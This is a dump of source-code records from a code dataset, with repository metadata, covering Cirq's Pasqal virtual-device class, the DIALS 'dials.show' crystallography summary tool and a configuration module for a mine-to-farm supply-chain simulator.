will be supported sooner and are thus recommended. Only accepts qubits with physical placement. """ def __init__( self, control_radius: float, qubits: Sequence[Union[ThreeDQubit, GridQubit, LineQubit]] ) -> None: """Initializes a device with some qubits. Args: control_radius: the maximum distance between qubits for a controlled gate. Distance is measured in units of the coordinates passed into the qubit constructor. qubits: Qubits on the device, identified by their x, y, z position. Must be of type ThreeDQubit, TwoDQubit, LineQubit or GridQubit. Raises: ValueError: if the wrong qubit type is provided or if invalid parameter is provided for control_radius.""" super().__init__(qubits) if not control_radius >= 0: raise ValueError('Control_radius needs to be a non-negative float.') if len(self.qubits) > 1: if control_radius > 3.0 * self.minimal_distance(): raise ValueError( 'Control_radius cannot be larger than 3 times' ' the minimal distance between qubits.' ) self.control_radius = control_radius self.gateset = PasqalGateset(include_additional_controlled_ops=False) self.controlled_gateset = cirq.Gateset(cirq.AnyIntegerPowerGateFamily(cirq.CZPowGate)) @property def supported_qubit_type(self): return (ThreeDQubit, TwoDQubit, GridQubit, LineQubit) def validate_operation(self, operation: cirq.Operation): """Raises an error if the given operation is invalid on this device. Args: operation: the operation to validate Raises: ValueError: If the operation is not valid """ super().validate_operation(operation) # Verify that a controlled gate operation is valid if operation in self.controlled_gateset: for p in operation.qubits: for q in operation.qubits: if self.distance(p, q) > self.control_radius: raise ValueError(f"Qubits {p!r}, {q!r} are too far away") def validate_moment(self, moment: cirq.Moment): """Raises an error if the given moment is invalid on this device. Args: moment: The moment to validate. Raises: ValueError: If the given moment is invalid. """ super().validate_moment(moment) if len(moment) > 1: for operation in moment: if not isinstance(operation.gate, cirq.MeasurementGate): raise ValueError("Cannot do simultaneous gates. Use cirq.InsertStrategy.NEW.") def minimal_distance(self) -> float: """Returns the minimal distance between two qubits in qubits. Args: qubits: qubit involved in the distance computation Raises: ValueError: If the device has only one qubit Returns: The minimal distance between qubits, in spacial coordinate units. """ if len(self.qubits) <= 1: raise ValueError("Two qubits to compute a minimal distance.") return min([self.distance(q1, q2) for q1 in self.qubits for q2 in self.qubits if q1 != q2]) def distance(self, p: Any, q: Any) -> float: """Returns the distance between two qubits. Args: p: qubit involved in the distance computation q: qubit involved in the distance computation Raises: ValueError: If p or q not part of the device Returns: The distance between qubits p and q. """ all_qubits = self.qubit_list() if p not in all_qubits or q not in all_qubits: raise ValueError("Qubit not part of the device.") if isinstance(p, GridQubit): return np.sqrt((p.row - q.row) ** 2 + (p.col - q.col) ** 2) if isinstance(p, LineQubit): return abs(p.x - q.x) return np.sqrt((p.x - q.x) ** 2 + (p.y - q.y) ** 2 + (p.z - q.z) ** 2) def __repr__(self): return ('pasqal.PasqalVirtualDevice(control_radius={!r}, qubits={!r})').format( self.control_radius, sorted(self.qubits) ) def _value_equality_values_(self) -> Any: return (self.control_radius, self.qubits) def _json_dict_(self) -> Dict[str, Any]: return cirq.protocols.obj_to_dict_helper(self, ['control_radius', 'qubits']) @_compat.deprecated_class( deadline='v0.16', fix='Use cirq.optimize_for_target_gateset(circuit, gateset=PasqalGateset()).' ) class PasqalConverter(cirq.neutral_atoms.ConvertToNeutralAtomGates): """A gate converter for compatibility with Pasqal processors. Modified version of ConvertToNeutralAtomGates, where a new 'convert' method 'pasqal_convert' takes the 'keep' function as an input. """ def pasqal_convert( self, op: cirq.Operation, keep: Callable[[cirq.Operation], bool] ) -> List[cirq.Operation]: def on_stuck_raise(bad): return TypeError( "Don't know how to work with {!r}. " "It isn't a native PasqalDevice operation, " "a 1 or 2 qubit gate with a known unitary, " "or composite.".format(bad) ) return cirq.protocols.decompose( op, keep=keep, intercepting_decomposer=self._convert_one, on_stuck_raise=None if self.ignore_failures else on_stuck_raise, )

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86a3efacb490990d88c7dfa47acc3b8f0d98c63a

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py

Python

command_line/show.py

huwjenkins/dials

885a2f6ea3900dd0c9fcc15c03561fb45452c3bb

[ "BSD-3-Clause" ]

null

command_line/show.py

huwjenkins/dials

885a2f6ea3900dd0c9fcc15c03561fb45452c3bb

[ "BSD-3-Clause" ]

1

2019-06-03T16:09:12.000Z

2019-06-04T12:47:20.000Z

command_line/show.py

rjgildea/dials

0665a385d644bbef7541fb2d33c7a3c5a748e2b4

[ "BSD-3-Clause" ]

null

import os import sys import numpy as np import iotbx.phil from cctbx import uctbx from dxtbx.model.experiment_list import ExperimentListFactory from scitbx.math import five_number_summary import dials.util from dials.array_family import flex from dials.util import Sorry, tabulate help_message = """ Examples:: dials.show models.expt dials.show image_*.cbf dials.show observations.refl """ phil_scope = iotbx.phil.parse( """\ show_scan_varying = False .type = bool .help = "Whether or not to show the crystal at each scan point." show_shared_models = False .type = bool .help = "Show which models are linked to which experiments" show_all_reflection_data = False .type = bool .help = "Whether or not to print individual reflections" show_intensities = False .type = bool show_centroids = False .type = bool show_profile_fit = False .type = bool show_flags = False .type = bool .help = "Show a summary table of reflection flags" show_identifiers = False .type = bool .help = "Show experiment identifiers map if set" image_statistics{ show_corrected = False .type = bool .help = "Show statistics on the distribution of values in each corrected image" show_raw = False .type = bool .help = "Show statistics on the distribution of values in each raw image" } max_reflections = None .type = int .help = "Limit the number of reflections in the output." """, process_includes=True, ) def beam_centre_mm(detector, s0): x, y = (None, None) for panel_id, panel in enumerate(detector): try: x, y = panel.get_ray_intersection(s0) except RuntimeError: continue else: if panel.is_coord_valid_mm((x, y)): break else: x, y = (None, None) return panel_id, (x, y) def beam_centre_raw_image_px(detector, s0): panel_id, (x, y) = beam_centre_mm(detector, s0) panel = detector[panel_id] x_px, y_px = panel.millimeter_to_pixel((x, y)) offset = panel.get_raw_image_offset() return x_px + offset[0], y_px + offset[1] def show_beam(detector, beam): # standard static beam model string s = str(beam) # report whether the beam is scan-varying if beam.num_scan_points > 0: s += " s0 sampled at " + str(beam.num_scan_points) + " scan points\n" # add static model beam centres panel_id, (x, y) = beam_centre_mm(detector, beam.get_s0()) if panel_id >= 0 and x is not None and y is not None: x_px, y_px = detector[panel_id].millimeter_to_pixel((x, y)) if len(detector) > 1: beam_centre_mm_str = " mm: panel %i, (%.2f,%.2f)" % (panel_id, x, y) beam_centre_px_str = " px: panel %i, (%.2f,%.2f)" % ( panel_id, x_px, y_px, ) x_raw_px, y_raw_px = beam_centre_raw_image_px(detector, beam.get_s0()) beam_centre_raw_px_str = " px, raw image: ({:.2f},{:.2f})".format( x_raw_px, y_raw_px, ) x_raw_mm, y_raw_mm = detector[panel_id].pixel_to_millimeter( (x_raw_px, y_raw_px) ) beam_centre_raw_mm_str = " mm, raw image: ({:.2f},{:.2f})".format( x_raw_mm, y_raw_mm, ) else: beam_centre_mm_str = f" mm: ({x:.2f},{y:.2f})" beam_centre_px_str = f" px: ({x_px:.2f},{y_px:.2f})" beam_centre_raw_px_str = "" beam_centre_raw_mm_str = "" s += "\nBeam centre: \n" s += beam_centre_mm_str + "\n" + beam_centre_px_str + "\n" if beam_centre_raw_mm_str: s += beam_centre_raw_mm_str + "\n" if beam_centre_raw_px_str: s += beam_centre_raw_px_str + "\n" # report range of scan-varying model beam centres if beam.num_scan_points > 0: # get scan-varying beam centres, ensuring all on same panel sv_s0 = beam.get_s0_at_scan_points() impacts = [beam_centre_mm(detector, s0) for s0 in sv_s0] pnl, xy = zip(*impacts) uniq_pnls = set(pnl) if len(uniq_pnls) > 1 or min(uniq_pnls) < 0: return s if any(e == (None, None) for e in xy): return s pnl = list(uniq_pnls)[0] x_mm, y_mm = zip(*xy) # convert to pixels xy = [detector[pnl].millimeter_to_pixel(e) for e in xy] x_px, y_px = zip(*xy) s += "Beam centre range (mm): ([{:.2f},{:.2f}],[{:.2f},{:.2f}])\n".format( min(x_mm), max(x_mm), min(y_mm), max(y_mm), ) s += "Beam centre range (px): ([{:.2f},{:.2f}],[{:.2f},{:.2f}])\n".format( min(x_px), max(x_px), min(y_px), max(y_px), ) return s def show_goniometer(goniometer): # standard static goniometer model string s = str(goniometer) # report whether the goniometer is scan-varying if goniometer.num_scan_points > 0: s += ( " Setting rotation sampled at " + str(goniometer.num_scan_points) + " scan points\n" ) return s @dials.util.show_mail_handle_errors() def run(args=None): import dials.util.log dials.util.log.print_banner() from dials.util.options import OptionParser, reflections_and_experiments_from_files usage = "dials.show [options] models.expt | image_*.cbf" parser = OptionParser( usage=usage, phil=phil_scope, read_experiments=True, read_experiments_from_images=True, read_reflections=True, check_format=False, epilog=help_message, ) params, options = parser.parse_args(args=args, show_diff_phil=True) reflections, experiments = reflections_and_experiments_from_files( params.input.reflections, params.input.experiments ) if len(experiments) == 0 and len(reflections) == 0: parser.print_help() exit() if len(experiments): if not all(e.detector for e in experiments): sys.exit("Error: experiment has no detector") if not all(e.beam for e in experiments): sys.exit("Error: experiment has no beam") print(show_experiments(experiments, show_scan_varying=params.show_scan_varying)) if params.image_statistics.show_raw: show_image_statistics(experiments, "raw") if params.image_statistics.show_corrected: show_image_statistics(experiments, "corrected") if params.show_shared_models: print() print(model_connectivity(experiments)) if len(reflections): print( show_reflections( reflections, show_intensities=params.show_intensities, show_profile_fit=params.show_profile_fit, show_centroids=params.show_centroids, show_all_reflection_data=params.show_all_reflection_data, show_flags=params.show_flags, max_reflections=params.max_reflections, show_identifiers=params.show_identifiers, ) ) def show_experiments(experiments, show_scan_varying=False): text = [] for i_expt, expt in enumerate(experiments): text.append("Experiment %i:" % i_expt) format_class = expt.imageset.get_format_class() if format_class.__name__ != "Format": text.append(f"Format class: {format_class.__name__}") if expt.identifier != "": text.append(f"Experiment identifier: {expt.identifier}") try: template = expt.imageset.get_template() except AttributeError: template = None if template: text.append(f"Image template: {template}") text.append(str(expt.detector)) text.append( "Max resolution (at corners): %f" % (expt.detector.get_max_resolution(expt.beam.get_s0())) ) text.append( "Max resolution (inscribed): %f" % (expt.detector.get_max_inscribed_resolution(expt.beam.get_s0())) ) text.append("") text.append(show_beam(expt.detector, expt.beam)) if expt.scan is not None: text.append(str(expt.scan)) if expt.goniometer is not None: text.append(show_goniometer(expt.goniometer)) if expt.crystal is not None: text.append(expt.crystal.as_str(show_scan_varying=show_scan_varying)) if expt.crystal.num_scan_points: abc = flex.vec3_double() angles = flex.vec3_double() for n in range(expt.crystal.num_scan_points): ( a, b, c, alpha, beta, gamma, ) = expt.crystal.get_unit_cell_at_scan_point(n).parameters() abc.append((a, b, c)) angles.append((alpha, beta, gamma)) a, b, c = abc.mean() alpha, beta, gamma = angles.mean() mean_unit_cell = uctbx.unit_cell((a, b, c, alpha, beta, gamma)) text.append(f" Average unit cell: {mean_unit_cell}") if expt.profile is not None: text.append(str(expt.profile)) if expt.scaling_model is not None: text.append(str(expt.scaling_model)) return "\n".join(text) def show_image_statistics(experiments, im_type): if im_type == "raw": raw = True elif im_type == "corrected": raw = False else: raise ValueError(f"Unknown im_type: {im_type}") # To show image statistics, check_format has to be true. So we have to reinstatiate # the experiment list here try: experiments = ExperimentListFactory.from_json( experiments.as_json(), check_format=True ) except OSError as e: raise Sorry( f"Unable to read image data. Please check {e.filename} is accessible" ) print(f"Five number summary of the {im_type} images") for i_expt, expt in enumerate(experiments): for i in range(len(expt.imageset)): identifier = os.path.basename(expt.imageset.get_image_identifier(i)) if raw: pnl_data = expt.imageset.get_raw_data(i) else: pnl_data = expt.imageset.get_corrected_data(i) if not isinstance(pnl_data, tuple): pnl_data = (pnl_data,) flat_data = pnl_data[0].as_1d() for p in pnl_data[1:]: flat_data.extend(p.as_1d()) fns = five_number_summary(flat_data) print( "{}: Min: {:.1f} Q1: {:.1f} Med: {:.1f} Q3: {:.1f} Max: {:.1f}".format( identifier, *fns ) ) def model_connectivity(experiments): def model_connectivity_impl(experiments, model): text = [""] text.append(f"{model.capitalize()}:") models = getattr(experiments, f"{model}s")() rows = [[""] + [str(j) for j in range(len(models))]] for j, e in enumerate(experiments): row = ["Experiment %d" % j] for m in models: if getattr(e, model) is m: row.append("x") else: row.append(".") rows.append(row) text.append(tabulate(rows, tablefmt="plain")) return text if len(experiments) == 1: return "" text = [] text.append("Experiment / Models") text.extend(model_connectivity_impl(experiments, "detector")) text.extend(model_connectivity_impl(experiments, "crystal")) text.extend(model_connectivity_impl(experiments, "beam")) return "\n".join(text) def _create_flag_count_table(table): """Generate a summary table of flag values in a reflection table. :param table: A reflection table :returns: A string of the formatted flags table """ # Calculate the counts of entries that match each flag numpy_flags = table["flags"].as_numpy_array() flag_count = { flag: np.sum(numpy_flags & value != 0) for value, flag in table.flags.values.items() } # Work out the numeric-value order of the flags flag_order = sorted(table.flags.values.values(), key=lambda x: x.real) # Build the actual table flag_rows = [["Flag", "Count", "%"]] max_count_len = max(5, len(str(max(flag_count.values())))) last_flag = None for flag in flag_order: indent = "" # As a hint for reading, indent any 'summary' flags. # A summary flag is any flag which overlaps with the previous one. if last_flag and (last_flag.real & flag.real): indent = " " last_flag = flag # Add the row to the table we're building flag_rows.append( [ indent + flag.name, "{:{:d}d}".format(flag_count[flag], max_count_len), f"{100 * flag_count[flag] / len(table):5.01f}", ] ) # Build the array of output strings text = [] text.append("Reflection flags:") text.append(tabulate(flag_rows, headers="firstrow")) return "\n".join(text) def show_reflections( reflections, show_intensities=False, show_profile_fit=False, show_centroids=False, show_all_reflection_data=False, show_flags=False, max_reflections=None, show_identifiers=False, ): text = [] from orderedset import OrderedSet formats = { "miller_index": "%i, %i, %i", "d": "%.2f", "qe": "%.3f", "dqe": "%.3f", "id": "%i", "imageset_id": "%i", "panel": "%i", "flags": "%i", "background.mean": "%.1f", "background.dispersion": "%.1f", "background.mse": "%.1f", "background.sum.value": "%.1f", "background.sum.variance": "%.1f", "intensity.prf.value": "%.1f", "intensity.prf.variance": "%.1f", "intensity.sum.value": "%.1f", "intensity.sum.variance": "%.1f", "intensity.cor.value": "%.1f", "intensity.cor.variance": "%.1f", "intensity.scale.value": "%.1f", "intensity.scale.variance": "%.1f", "Ih_values": "%.1f", "lp": "%.3f", "num_pixels.background": "%i", "num_pixels.background_used": "%i", "num_pixels.foreground": "%i", "num_pixels.valid": "%i", "partial_id": "%i", "partiality": "%.4f", "profile.correlation": "%.3f", "profile.rmsd": "%.3f", "xyzcal.mm": "%.2f, %.2f, %.2f", "xyzcal.px": "%.2f, %.2f, %.2f", "delpsical.rad": "%.3f", "delpsical2": "%.3f", "delpsical.weights": "%.3f", "xyzobs.mm.value": "%.2f, %.2f, %.2f", "xyzobs.mm.variance": "%.4e, %.4e, %.4e", "xyzobs.px.value": "%.2f, %.2f, %.2f", "xyzobs.px.variance": "%.4f, %.4f, %.4f", "s1": "%.4f, %.4f, %.4f", "s2": "%.4f, %.4f, %.4f", "shoebox": "%.1f", "rlp": "%.4f, %.4f, %.4f", "zeta": "%.3f", "x_resid": "%.3f", "x_resid2": "%.3f", "y_resid": "%.3f", "y_resid2": "%.3f", "kapton_absorption_correction": "%.3f", "kapton_absorption_correction_sigmas": "%.3f", "inverse_scale_factor": "%.3f", "inverse_scale_factor_variance": "%.3f", } for rlist in reflections: from dials.algorithms.shoebox import MaskCode foreground_valid = MaskCode.Valid | MaskCode.Foreground text.append("") text.append(f"Reflection list contains {len(rlist)} reflections") if len(rlist) == 0: continue rows = [["Column", "min", "max", "mean"]] for k, col in rlist.cols(): if k in formats and "%" not in formats.get(k, "%s"): # Allow blanking out of entries that wouldn't make sense rows.append( [ k, formats.get(k, "%s"), formats.get(k, "%s"), formats.get(k, "%s"), ] ) elif type(col) in (flex.double, flex.int, flex.size_t): if type(col) in (flex.int, flex.size_t): col = col.as_double() rows.append( [ k, formats.get(k, "%s") % flex.min(col), formats.get(k, "%s") % flex.max(col), formats.get(k, "%s") % flex.mean(col), ] ) elif type(col) in (flex.vec3_double, flex.miller_index): if isinstance(col, flex.miller_index): col = col.as_vec3_double() rows.append( [ k, formats.get(k, "%s") % col.min(), formats.get(k, "%s") % col.max(), formats.get(k, "%s") % col.mean(), ] ) elif isinstance(col, flex.shoebox): rows.append([k, "", "", ""]) si = col.summed_intensity().observed_value() rows.append( [ " summed I", formats.get(k, "%s") % flex.min(si), formats.get(k, "%s") % flex.max(si), formats.get(k, "%s") % flex.mean(si), ] ) x1, x2, y1, y2, z1, z2 = col.bounding_boxes().parts() bbox_sizes = ((z2 - z1) * (y2 - y1) * (x2 - x1)).as_double() rows.append( [ " N pix", formats.get(k, "%s") % flex.min(bbox_sizes), formats.get(k, "%s") % flex.max(bbox_sizes), formats.get(k, "%s") % flex.mean(bbox_sizes), ] ) fore_valid = col.count_mask_values(foreground_valid).as_double() rows.append( [ " N valid foreground pix", formats.get(k, "%s") % flex.min(fore_valid), formats.get(k, "%s") % flex.max(fore_valid), formats.get(k, "%s") % flex.mean(fore_valid), ] ) text.append(tabulate(rows, headers="firstrow")) if show_flags: text.append(_create_flag_count_table(rlist)) if show_identifiers: if rlist.experiment_identifiers(): text.append( """Experiment identifiers id-map values:\n%s""" % ( "\n".join( "id:" + str(k) + " -> experiment identifier:" + str(rlist.experiment_identifiers()[k]) for k in rlist.experiment_identifiers().keys() ) ) ) intensity_keys = ( "miller_index", "d", "intensity.prf.value", "intensity.prf.variance", "intensity.sum.value", "intensity.sum.variance", "background.mean", "profile.correlation", "profile.rmsd", ) profile_fit_keys = ("miller_index", "d") centroid_keys = ( "miller_index", "d", "xyzcal.mm", "xyzcal.px", "xyzobs.mm.value", "xyzobs.mm.variance", "xyzobs.px.value", "xyzobs.px.variance", ) keys_to_print = OrderedSet() if show_intensities: for k in intensity_keys: keys_to_print.add(k) if show_profile_fit: for k in profile_fit_keys: keys_to_print.add(k) if show_centroids: for k in centroid_keys: keys_to_print.add(k) if show_all_reflection_data: for k in formats: keys_to_print.add(k) def format_column(key, data, format_strings=None): if isinstance(data, flex.vec3_double): c_strings = [ c.as_string(format_strings[i].strip()) for i, c in enumerate(data.parts()) ] elif isinstance(data, flex.miller_index): c_strings = [ c.as_string(format_strings[i].strip()) for i, c in enumerate(data.as_vec3_double().parts()) ] elif isinstance(data, flex.size_t): c_strings = [data.as_int().as_string(format_strings[0].strip())] elif isinstance(data, flex.shoebox): x1, x2, y1, y2, z1, z2 = data.bounding_boxes().parts() bbox_sizes = ((z2 - z1) * (y2 - y1) * (x2 - x1)).as_double() c_strings = [bbox_sizes.as_string(format_strings[0].strip())] key += " (N pix)" else: c_strings = [data.as_string(format_strings[0].strip())] column = flex.std_string() max_element_lengths = [c.max_element_length() for c in c_strings] for i in range(len(c_strings[0])): column.append( f"%{len(key)}s" % ", ".join( ("%%%is" % max_element_lengths[j]) % c_strings[j][i] for j in range(len(c_strings)) ) ) return column if keys_to_print: keys = [k for k in keys_to_print if k in rlist] if max_reflections is not None: max_reflections = min(len(rlist), max_reflections) else: max_reflections = len(rlist) columns = [] for k in keys: columns.append( format_column(k, rlist[k], format_strings=formats[k].split(",")) ) text.append("") text.append("Printing %i of %i reflections:" % (max_reflections, len(rlist))) line = [] for j in range(len(columns)): key = keys[j] if key == "shoebox": key += " (N pix)" width = max(len(key), columns[j].max_element_length()) line.append("%%%is" % width % key) text.append(" ".join(line)) for i in range(max_reflections): line = (c[i] for c in columns) text.append(" ".join(line)) return "\n".join(text) if __name__ == "__main__": run()

32.992764

88

0.530485

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22,798

4.302974

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0.025054

0.018056

0.019698

0.259698

0.173823

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0.040432

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0.01114

0.342442

22,798

690

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33.04058

0.76099

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0.027574

0

null

0

null

0

1

0

86a477c71ec5eb0f689387ca230eaa223627c82b

8,749

py

Python

app/config/env_jesa.py

OuissalTAIM/jenkins

7ea5bcdeb6c0bb3cc14c2826a68e4f521de163c1

[ "BSD-1-Clause" ]

null

app/config/env_jesa.py

OuissalTAIM/jenkins

7ea5bcdeb6c0bb3cc14c2826a68e4f521de163c1

[ "BSD-1-Clause" ]

6

2021-02-02T22:52:41.000Z

2022-03-12T00:37:30.000Z

app/config/env_jesa.py

OuissalTAIM/jenkins

7ea5bcdeb6c0bb3cc14c2826a68e4f521de163c1

[ "BSD-1-Clause" ]

null

# -*- coding: utf-8 -*- from enum import Enum, IntEnum, unique import os APP_NAME = "mine2farm" NETWORK_NAME = "CenterAxis" LOG_LEVEL_CONSOLE = "WARNING" LOG_LEVEL_FILE = "INFO" APP_FOLDER = os.getenv("JESA_MINE2FARM_HOME", "C:/GitRepos/mine2farm/") LOG_FOLDER = APP_FOLDER + "app/log/" LOG_FILE = "%(asctime)_" + APP_NAME + ".log" OUTPUT_FOLDER = "%s%s" % (APP_FOLDER, "outputs/") CANVAS_URL = "http://127.0.0.1/canvas.xlsm" # DB DB_NAME = None DB_HOST = "172.29.161.208" DB_PORT = 5006 DATA_SERVICE_ADD = "172.29.161.208" DATA_SERVICE_PORT = 5001 # Results DB_RESULT_NAME = "%s_results" % DB_NAME if DB_NAME is not None else None DB_DETAILED_RESULT_COLLECTION_NAME = "detailed" DB_GLOBAL_RESULT_COLLECTION_NAME = "global" DB_GLOBAL_BEST_RESULT_COLLECTION_NAME = "global_best" DB_DETAILED_BEST_RESULT_COLLECTION_NAME = "detailed_best" DB_SENSITIVITY_COLLECTION_NAME = "sensitivity" RESULT_BATCHES_SIZE = 25 HEAD_DATA_BITS = 17 DB_NAME_BITS = 20 RANDOMIZE_RESULTS = False # RabbitMQ RABBITMQ_SERVER = "localhost" RABBITMQ_SIMULATOR_QUEUE_NAME = "SIMULATE" RABBITMQ_CYCLE = 3 RABBITMQ_DETAILED_RESULT_QUEUE_NAME = "SAVE_DETAIL" RABBITMQ_GLOBAL_RESULT_QUEUE_NAME = "SAVE_GLOBAL" RABBITMQ_MAX_WORKER = RABBITMQ_CYCLE RABBITMQ_PATH = "C:\\Program Files\\RabbitMQ Server\\rabbitmq_server-3.8.1\\sbin" # Memcached MEMCACHED_SERVER = 'localhost' MEMCACHED_PORT = 11211 # Dashboard DB_LOAD_FROM_SERVICE = True # Monitoring MONITORING_APP_NAME = "mine2farm_monitor" MONITORING_SERVER = "172.29.161.208" MONITORING_PORT = 5002 MONITORING_DB_NAME = "task_history" MONITORING_COLLECTION_HISTORY_NAME = "task" MONITORING_COLLECTION_HISTORY_BEST_NAME = "best_scenarios_history" MONITORING_STEP = 1 MONITORING_NB_PAGE = 10 # Mongodb-bi MONGODB_BI_PATH = "C:\\Program Files\\MongoDB\\Connector for BI\\2.13\\bin" # Mongodb MONGO_SERVER_PATH = "C:\\Program Files\\MongoDB\\Server\\4.0\\bin" # params LOGISTICS_LP = False MODE_DEBUG = False GRANUL_RELAX = False class HTML_STATUS(IntEnum): ERROR = -1 OK = 0 # Model MONIKER_SEPARATOR = "/" WACC = 0.1 T0 = 2020 TMAX = 2031 class PriceParams(Enum): WACC = 0 TENOR = 1 VOLUME = 2 class PipelineType(Enum): COMMON = 0 PRODUCER = 1 TRANSPORT = 2 BALANCE = 3 PRICE = 4 SALES = 5 @unique class PipelineLayer(IntEnum): UNDEFINED = -1 MINE = 0 BENEFICIATION = 1 SAP = 2 PAP = 3 GRANULATION = 4 LOGISTICS = 5 RAW_MATERIALS = 8 COMMON = 9 SALES_PLAN = 10 MINE_BENEFICIATION = 11 UNIT_CONVERSION_MATRIX = 12 PIPELINE_SCHEMA = { PipelineLayer.COMMON: { "type": PipelineType.COMMON, "dico": ["location", "opex", "unit", "currency", "output", "names", "products"] }, PipelineLayer.MINE: { "type": PipelineType.PRODUCER, "dico": ["mine.name", "mine.extraction", "mine.quality", "mine.capex"], "options": "mining_options", "production": "mining_specific_production", "opex": "mining_opex___specific_consumptions", "capex": "mining_capex", "priority_mines": "prioritymines" }, PipelineLayer.BENEFICIATION: { "type": PipelineType.PRODUCER, "dico": ["beneficiation.name", "beneficitation.process", "beneficitation.quality", "beneficitation.capex"], "options": "beneficiation_options", "production": "beneficiation_production", "opex": "beneficiation_opex___specific_consumptions", "capex": "beneficiation_capex" }, PipelineLayer.SAP: { "type": PipelineType.PRODUCER, "dico": ["sap.name", "sap.process", "sap.product", "sap.capex", "sap.capacity[kt]"], "options": "sap___power_plant_options", "production": "sap___power_plant_production", "opex": "sap___power_plant_opex___specific_consumptions", "capex": "sap___power_plant_capex", "product_type": "sap.product" }, PipelineLayer.PAP: { "type": PipelineType.PRODUCER, "dico": ["pap.name", "pap.process", "pap.product", "pap.capex", "pap.size[kt]", "pap.input"], "options": "pap_options", "production": "pap_production", "opex": "pap_opex___specific_consumptions", "capex": "pap_capex", "product_type": "pap.product" }, PipelineLayer.GRANULATION: { "type": PipelineType.PRODUCER, "dico": ["granulation.name", "granulation.process", "granulation.product", "granulation.capex", "granulation.input"], "options": "granulation_options", "production": "granulation_production", "opex": "granulation_opex", "capex": "granulation_capex" }, PipelineLayer.LOGISTICS: { "type": PipelineType.TRANSPORT, "dico": ["logistics.name", "logistics.process", "logistics.product", "logistics.capex"], "options": "logistics_options", "production": None, "opex": "logistics_opex", "capex": "logistics_capex" }, PipelineLayer.RAW_MATERIALS: { "type": PipelineType.PRICE, "data": "raw_materials" }, PipelineLayer.SALES_PLAN: { "type": PipelineType.SALES, "data": "sales_plan" }, PipelineLayer.UNIT_CONVERSION_MATRIX: { "type": PipelineType.COMMON, "data": "conv_matrix" }, } SUPPLY_CHAIN = "mine2port" DEPARTURE_ARRIVAL = {SUPPLY_CHAIN: (PipelineLayer.MINE), "sap2pap": (PipelineLayer.SAP, PipelineLayer.PAP)} COMBO_NODES = { PipelineLayer.MINE_BENEFICIATION: { "url": "mining_wp_connections", "upstream_layer": PipelineLayer.MINE, "downstream_layer": PipelineLayer.BENEFICIATION } } COMBO_NODES_SEPARATION = "--" class FunctionType(Enum): COST_PV = 0 CASH_COST = 1 FULL_COST = 2 class ScenarioGeneratorType(IntEnum): FROM_PATHS = 0 FROM_OPTIONS = 1 SPECIFIC_SCENARIOS = 2 SCENARIO_GEN_TYPE = ScenarioGeneratorType.FROM_OPTIONS PIPELINE_METADATA = { PipelineLayer.MINE: { "type": PipelineType.PRODUCER, "production": ["Name", "Extraction", "Quality", "Unit"], "opex": ["Name", "Extraction", "Capacity", "Item", "Unit"], "capex": ["Name", "Extraction", "Capacity", "Item", "Unit", "CAPEX"] }, PipelineLayer.BENEFICIATION: { "type": PipelineType.PRODUCER, "production": ["Process", "InputQuality", "OutputQuality", "Humidity", "Unit"], "opex": ["Process", "InputQuality", "OutputQuality", "Item", "Unit"], "capex": ["Name", "Process", "Capacity", "Item", "Unit", "CAPEX"] }, PipelineLayer.SAP: { "type": PipelineType.PRODUCER, "production": ["Location", "Process", "Product", "Unit"], "opex": ["Location", "Process", "Item", "Unit"], "capex": ["Location", "Process", "Capacity", "Item", "Unit", "CAPEX"] }, PipelineLayer.PAP: { "type": PipelineType.PRODUCER, "production": ["Process", "Input", "Product", "Unit"], "opex": ["Location", "Process", "Capacity", "Input", "Item", "Product", "Unit"], "capex": ["Location", "Process", "Capacity", "Item", "Unit", "CAPEX"] }, PipelineLayer.GRANULATION: { "type": PipelineType.PRODUCER, "production": ["Process", "Input", "Product", "Unit"], "opex": ["Location", "ProductionSite", "Process", "Capacity", "Product", "Item", "Unit"], "capex": ["Location", "ProductionSite", "Product", "Process", "Capacity", "Item", "Unit", "CAPEX"] }, PipelineLayer.LOGISTICS: { "type": PipelineType.TRANSPORT, "opex": ["Upstream", "Downstream", "Method", "Product", "Capacity", "Item", "Unit"], "capex": ["Upstream", "Downstream", "Method", "Product", "Capacity", "Item", "Unit", "CAPEX"] }, PipelineLayer.RAW_MATERIALS: { "type": PipelineType.PRICE, "columns": ["Item", "Unit"] }, PipelineLayer.SALES_PLAN: { "type": PipelineType.PRICE, "columns": ["Type", "Product", "Unit"] }, PipelineLayer.UNIT_CONVERSION_MATRIX: { "type": PipelineType.COMMON, "columns": ["Initial Unit", "Uniform Unit", "Conversion Rate"] }, } class ShuffleLevel(IntEnum): UNDEFINED = 0 SHUFFLE_WITHOUT_PERM = 1 SHUFFLE_WITH_PERMUTATIONS = 2 SHUFFLE_WITH_PERMUTATIONS_WITH_FILTERS = 3 SHUFFLE_WITH_UNNAMED = 4 SHUFFLE_LEVELS = { PipelineLayer.MINE: ShuffleLevel.UNDEFINED, PipelineLayer.BENEFICIATION: ShuffleLevel.UNDEFINED, PipelineLayer.SAP: ShuffleLevel.SHUFFLE_WITH_UNNAMED, PipelineLayer.PAP: ShuffleLevel.SHUFFLE_WITH_UNNAMED, PipelineLayer.GRANULATION: ShuffleLevel.UNDEFINED, PipelineLayer.LOGISTICS: ShuffleLevel.UNDEFINED, PipelineLayer.MINE_BENEFICIATION: ShuffleLevel.UNDEFINED }

29.758503

125

0.65356

896

8,749

6.129464

0.25558

0.055353

0.026038

0.03059

0.259104

0.159323

0.102877

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0.046249

0.025127

0

0.018384

0.197965

8,749

294

126

29.758503

0.764287

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0

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0

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0

1

0

false

0

0.008547

0

0.183761

0

null

0

null

0

1

0

86a5619ddeca5e16cc4b5d0ebb8500be1708f077

6,001

py

Python

app/app.py

Moustique-bot/hands-on-2021

fd023f0a431f72ef2c48e3a469be42e2de9e2957

[ "MIT" ]

null

app/app.py

Moustique-bot/hands-on-2021

fd023f0a431f72ef2c48e3a469be42e2de9e2957

[ "MIT" ]

null

app/app.py

Moustique-bot/hands-on-2021

fd023f0a431f72ef2c48e3a469be42e2de9e2957

[ "MIT" ]

null

